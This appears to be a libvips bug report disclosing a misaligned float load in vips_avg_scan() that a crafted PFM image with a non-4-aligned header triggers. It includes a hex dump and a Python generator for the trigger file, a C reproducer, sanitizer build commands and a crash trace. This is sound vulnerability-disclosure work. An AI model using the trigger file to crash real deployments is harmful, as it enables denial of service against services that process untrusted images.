#5187·libvips

misaligned float load (UB) in vips_avg_scan() when loading a little-endian PFM image with a non-4-aligned text header (CWE-843)

Author: 1820893135-pixelCreated Aug 16, 2026Updated Sep 10, 2026
Labelsbug

Description

A little-endian PFM (portable float map) image whose text header length is not a multiple of 4 causes a misaligned float load (undefined behaviour) in vips_avg_scan() (libvips/arithmetic/avg.c:194), reported by UBSan. On strict-alignment architectures (ARM32/SPARC/older MIPS) this raises SIGBUS and crashes the process; on builds that use -fno-sanitize-recover=all (as libvips' OSS-Fuzz build does) UBSan aborts the process — a deterministic denial of service reachable from a single, valid, non-malformed image.

Root cause: the PFM loader's mmap path (vips_foreign_load_ppm_map(), libvips/foreign/ppmload.c) hands the pixel data to vips_image_new_from_memory() by aliasing the source buffer at header_offset instead of copying it into an aligned buffer:

c
/* libvips/foreign/ppmload.c:484-496 (excerpt) */
vips_sbuf_unbuffer(ppm->sbuf);
header_offset = vips_source_seek(ppm->source, 0, SEEK_CUR);
data = vips_source_map(ppm->source, &length);
...
data = (char *) data + header_offset;   /* raw source buffer, no alignment guarantee */
length -= header_offset;

out = vips_image_new_from_memory(data, length,
          ppm->width, ppm->height, ppm->bands, ppm->format);

When the PFM text header is not a multiple of the float size (4 bytes), the resulting pixel buffer start address is not 4-byte aligned. Any pixel-walking operation then dereferences an unaligned float*. vips_avg_scan() is one such path:

c
/* libvips/arithmetic/avg.c:137-141 (excerpt) */
#define LOOP(TYPE) \
	{ \
		TYPE *p = (TYPE *) in; \
		for (i = 0; i < sz; i++) \
			m += p[i]; \
	}

The float case (avg.c:194) does float *p = (float *) in; ... m += p[i]; — an unaligned load.

Reproducible example

Affected version: libvips dbf559add2807037d89a16b7a9e371e8267c0f63 (2026-08-14, master; reported as 8.19.0).

Step 1 - recreate the trigger PFM (814 bytes, MD5 77c0ce860d74d5f2c133dd74eb2c5b23). The first 14 bytes are the PFM text header Pf<LF>100 2<LF>-1.0<LF> (little-endian PFM, negative scale; hex 50660a31303020320a2d312e300a), followed by 200 float pixels. Header length 14, 14 mod 4 = 2, so the mmap'd pixel buffer starts at an address not aligned to 4 bytes. Recreate the file byte-for-byte from its hex:

bash
printf '%s' '50660a31303020320a2d312e300a3f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f0000003f000000' | xxd -r -p > poc.pfm

Or generate it with Python (equivalent bytes):

python
import struct
header = b"Pf\x0a100 2\x0a-1.0\x0a"          # 14 bytes, 14 % 4 == 2 -> misaligned
assert len(header) % 4 != 0
pixels = struct.pack("<200f", *([1.0] * 200))
open("poc.pfm", "wb").write(header + pixels)

Step 2 — minimal C reproducer (uses only the public libvips C API; replace the .../build paths with your own build):

c
#include <vips/vips.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv) {
  if (argc < 2) return 1;
  if (VIPS_INIT(argv[0])) return 1;
  vips_concurrency_set(1);

  FILE *f = fopen(argv[1], "rb");
  if (!f) return 1;
  fseek(f, 0, SEEK_END); long sz = ftell(f); fseek(f, 0, SEEK_SET);
  guint8 *buf = g_malloc((gsize)sz);
  fread(buf, 1, (size_t)sz, f); fclose(f);

  VipsImage *image = vips_image_new_from_buffer(buf, (size_t)sz, "", NULL);
  if (!image) { g_free(buf); return 1; }

  double avg = 0;
  (void) vips_avg(image, &avg, NULL);
  g_object_unref(image);
  g_free(buf);
  return 0;
}

Step 3 — build and run with sanitizers:

bash
cd libvips
mkdir -p build && cd build
meson setup .. -Dprefix="$PWD/install" -Db_sanitize=address,undefined
ninja
cd ..

# compile the reproducer against the built library
gcc -fsanitize=address,undefined -fno-sanitize-recover=all \
  -I build -I build/install/include \
  repro.c build/libvips.a \
  $(pkg-config --cflags --libs glib-2.0 gio-2.0 gobject-2.0) \
  -o repro

./repro poc.pfm

Expected result

vips_avg() on a valid 100x2 PFM image should return the mean of the pixel values (1.0) without any undefined behaviour. UBSan should not report a misaligned load.

Actual result

../libvips/arithmetic/avg.c:194:3: runtime error: load of misaligned address 0x7bfff0aff80e for type 'float', which requires 4 byte alignment
0x7bfff0aff80e: note: pointer points here
 31 2e 30 0a 3f 00  00 00 3f 00 00 00 3f 00  00 00 3f 00 00 00 3f 00  00 00 3f 00 00 00 3f 00  00 00
             ^ 
    #0 0x55555587e01b in vips_avg_scan /src/libvips/build/../libvips/arithmetic/avg.c:194:3
    #1 0x55555588003b in vips_statistic_scan /src/libvips/build/../libvips/arithmetic/statistic.c:86:7
    #2 0x555555901043 in sink_work /src/libvips/build/../libvips/iofuncs/sink.c:417:12
    #3 0x55555611acc9 in vips_worker_work_unit /src/libvips/build/../libvips/iofuncs/threadpool.c:362:6
    #4 0x55555611acc9 in vips_thread_main_loop /src/libvips/build/../libvips/iofuncs/threadpool.c:388:12
    #5 0x555556282603 in vips_threadset_work /src/libvips/build/../libvips/iofuncs/threadset.c:187:3
    #6 0x5555558b2635 in vips_thread_run /src/libvips/build/../libvips/iofuncs/thread.c:112:11
    #7 0x7ffff6ad1b30 (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x83b30)
    #8 0x5555558353a6 in asan_thread_start /src/llvm-project/compiler-rt/lib/asan/asan_interceptors.cpp:239:28

SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior ../libvips/arithmetic/avg.c:194:3

Reproduces reliably (15/15 crash inputs shared the same root cause). Exit code 1 with UBSan abort.

Image

Environment

  • OS: Debian (x86-64 Linux)
  • libvips version: 8.19.0 (commit dbf559add2807037d89a16b7a9e371e8267c0f63)
  • Compiler: clang (ASan+UBSan, -fno-sanitize-recover=all)

Severity / impact

  • Crash / data loss.
  • Incorrect result.
  • Build / install problem.
  • Performance / memory issue.
  • Other (please specify).

Impact: undefined behaviour (misaligned access). Deterministic DoS on strict-alignment architectures (SIGBUS) and on sanitizer builds (UBSan abort). On x86-64 the load is tolerated by the hardware but is still UB and is flagged by UBSan on every such input. Trigger is a single valid, non-malformed 814-byte PFM image; the attacker fully controls the header length so the misalignment is trivial to arrange. No memory corruption, no information disclosure, no RCE observed.

Additional context

The TRUECOLOR / GRAYSCALE PPM/PGM branches in the same loader go through the same mmap path and can also be affected if the header length is not element-aligned; PFM (float, 4 bytes) is the simplest trigger because any header length mod 4 != 0 does it. A fix would be to copy the pixel payload into an aligned buffer in vips_foreign_load_ppm_map() (or to make the pixel-walking LOOP macros in the arithmetic/statistic ops read scalars via memcpy).